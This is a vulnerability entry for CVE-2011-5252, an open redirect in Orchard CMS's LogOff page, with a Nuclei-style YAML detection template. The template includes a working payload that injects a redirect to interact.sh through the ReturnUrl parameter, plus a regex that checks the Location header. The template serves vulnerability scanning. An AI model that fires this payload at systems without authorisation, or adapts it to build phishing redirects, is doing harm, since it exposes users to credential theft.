CVE-2011-5252: Orchard 'ReturnUrl' Parameter URI - Open Redirect

2025-08-01 Orchard PoC Public

Description

Open redirect vulnerability in Users/Account/LogOff in Orchard 1.0.x before 1.0.21, 1.1.x before 1.1.31, 1.2.x before 1.2.42, and 1.3.x before 1.3.10 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the ReturnUrl parameter.

PoC

id: CVE-2011-5252

info:
  name: Orchard 'ReturnUrl' Parameter URI - Open Redirect
  author: ctflearner
  severity: medium
  description: |
    Open redirect vulnerability in Users/Account/LogOff in Orchard 1.0.x before 1.0.21, 1.1.x before 1.1.31, 1.2.x before 1.2.42, and 1.3.x before 1.3.10 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the ReturnUrl parameter.
  impact: |
    An attacker can craft a malicious URL to redirect users to a malicious website, leading to phishing attacks.
  remediation: |
    Validate and sanitize user input for the 'ReturnUrl' parameter to prevent open redirect vulnerabilities.
  reference:
    - https://www.exploit-db.com/exploits/36493
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5252
    - https://www.invicti.com/web-applications-advisories/open-redirection-vulnerability-in-orchard/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72110
    - http://orchard.codeplex.com/discussions/283667
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:N
    cvss-score: 5.8
    cve-id: CVE-2011-5252
    cwe-id: CWE-20
    epss-score: 0.11927
    epss-percentile: 0.95896
    cpe: cpe:2.3:a:orchardproject:orchard:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: orchardproject
    product: orchard
  tags: cve,cve2011,redirect,orchard,orchardproject,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fhttp://interact.sh%3f"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:http?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4b0a00483046022100a42c8b6dccc617750e2efc3b411b5c1974c8cebab1529ef07fd3019ddc738a79022100db7acd247cc206b75d4e23e1b3e38553422689f698c395f3a541767a2ac5ed2c:922c64590222798bb761d5b6d8e72950

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